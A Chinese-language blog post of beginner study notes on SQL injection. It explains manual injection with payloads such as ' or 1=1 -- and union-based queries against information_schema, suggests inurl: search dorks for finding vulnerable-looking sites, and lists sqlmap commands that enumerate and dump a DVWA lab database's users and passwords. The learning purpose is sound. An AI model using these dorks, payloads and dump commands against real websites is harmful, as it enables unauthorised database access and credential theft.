所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
注:来源于百度百科
SQL注入漏洞常年稳居OWASP TOP10的前几位,高居榜首.所以由此可见SQL注入的危害性.如果目标站点存在SQL注入漏洞的话,那么心怀不轨的人就可以能通过SQL注入漏洞来对目标站点的数据库进拖库和爆库的恶意操作,从而盗取目标站点的数据信息,并且在本文中,本小白通过学习Web安全渗透来掌握了相关SQL注入的一些原理及攻击方式,纯属用于学习,并未做出任务违反国家网络安全法律的行为,一切操作都是在本人的虚拟机上完成.
首先手动模式在实际应用中并不常见,因为使用工具的效率比我们手动注入的效率要快得多。那为什么还要介绍手动模式下的SQL注入呢?这当然是为了方便我们对SQL注入的理解。
基于本人的大概理解,并且是手动模式下,只是对SQL注入原理的一些了解和学习,在自动模式下基本没有这么复杂,但是大佬好像都会用到手动注入。
.php?id=
这样的特殊关键字来网站,url中带有这些关键字的网站或许就存在着相关的SQL注入漏洞,具体搜索语法举例:inurl:.php?id=
inurl:.asp?id=
如果想要尝试搜索,建议在谷歌浏览器或者谷歌搜索引擎中搜索.由于这里我是使用OWASP虚拟机进行实验,所以相关内容就不实际展示.
union
来查询更多的数据。注入的原理:
系统后台原始的SQL语句(举例):
select num,name from student where num=''
select num,name from student where num='''
'
进行测试select num,name from student where num='' or 1=1 -- ttt'
注意ttt
前面的空格' or 1=1 --ttt
,开头的单引号('
)用于闭合原始SQL语句的查询条件,or
表示使用布尔型的逻辑或来查询,逻辑或是只要有一个为真,那么就执行。后面的--
表示的意思是注释,意思就是后面的所有语句都不管用,因为最后面还有一个单引号,所以需要把它注释掉。ttt
就是随便修饰一下的,高兴就好……union
联合查询:select num,name from student where num='‘ and 1=2 union select score,name from student where name=zhangsan -- hhh'
' and 1=2 union select score,name from student where name=zhangsan -- hhh
' and 1=2
是表示不执行原始的SQL语句,and语句表示有一个为假则为假,所以原始SQL语句就不执行,然后union
表示联合查询,我们可以在后面重新构造一条SQL语句来查询相关数据。select score,name from student where name = zhangsan
这句应该就需要介绍了,-- hhh
前面两个杠杠还是用于注释掉后面语句的。但是联合查询也有一个缺点,那就是如果系统后台的SQL语句只能查两个字段的话,后面自行构造的语句也只能查询两个字段的内容。如果我们构造的语句字段少了可以添加,例如:select num,name from student where num='' and 1=2 union select num,1 from student --大概就是这样'
就好比一个房间住一个人,有多少个房价就住多少个人,如果我们实际没有那么多人,就虚拟几个出来住,不能浪费空间;相反的,如果我们人多了,那么就可以通过其他的方式让多余的人在其他房间挤一挤。联合查询就像这样一样。TABLE_NAME
表示的是表名TABLE_SCHEMA
表示的是库名COLUMNS_NAME
表示的是字段名information_schema
这个数据库要牢记,类似数据库字典关于SQL自动注入还是推荐先去通过视频学习,这里只能大概记录一下。
相关命令/工具:sqlmap
举个栗子:sqlmap -u "xxxx.com" -选项
举个具体点的栗子:sqlmap -u "xxx.com.php?id=1" --dbms=mysql --batch
这句的意思是注入指定网站,并指定数据库为mysql
的,并自动化执行
对靶机进行自动SQL注入实验:
由于上面提到的页面需要进行登陆了过后才能注入,然而在Kali下进行注入的时候由于没有cookie,所以不能通过上面的那个页面进行注入,需要去另一个界面进行注入操作。(我说的啥,自己都没懂)总之就是需要在上面提到的那个页面上注入的话,需要把cookie提取出来,然后在sql注入的时候将cookie带入进去才能在指定的登陆页面注入。
下图这个页面,随便输入一个用户名和密码然后点view那个按钮,然后再复制链接到Kali下进行SQL注入操作,不然好像会报错,无法成功注入。
链接后面可以跟很多选项,比如那个--batch
表示的是完全自动,比如中途出现什么需要输入yes或者no的时候,系统就会自动输入相关命令来注入。具体详情可以man sqlmap
查看具体命令用法。注入过程会花费一定的时间,请耐心等待。
注入失败,结束注入……
放弃,不可能放弃的!
url
根据实际情况设定sqlmap -u "xxx.com.php?id=1" --dbs
sqlmap -u "xxx.com.php?id=1" -D dvwa --tables
sqlmap -u "xxx.com.php?id=1" -D dvwa -T users --dump-all
dump-all的意思是查询所有字段,可以通过-C
即columns
列信息
sqlmap -u "xxx.com.php?id=1" -D dvwa -T users -C "user,password" --dump
完成注入操作。
sqlmap相关的语法介绍:
--users
:获得所有用户信息
--current-user
:获得当前用户信息
--dbs
:获得所有数据库信息
--current-db
:获得当前数据库信息
-D 库名 --tables
:获得指定数据库中的表信息
-D 库名 -T 表名 --columns
:获得指定数据库的指定表中的列信息
-D 库名 -T 表名 --dump-all
列出指定数据库的指定表所有字段
-D 库名 -T 表名 -C "字段1,字段2" dump
:列出指定数据库的指定表指定列的信息
SQL注入大概就记录到这个地方,目前也有一些实战经验,但是实战的时候不像在虚拟机里一样流畅,遇到了一些问题,还不知道怎么结局,希望通过以后的学习能更加的加深自己对于这方面知识的理解。
SQL注入主要是先学习了手动注入,先了解其注入原理,然后实际的操作过程中加深印象。然后通过Kali下的sqlmap注入工具对靶机进行注入操作。我觉得SQL注入学习过程中,最主要的还是要通过实践,因为我都是视频看完了过后,我没有第一时间去实验,反而是继续往下面看,最后在博客记录的途中,很多的都没有想起来。知道原理但是不知道具体怎么实施,所有,以后还是要一边看一边实践,这样才能加深自己的印象。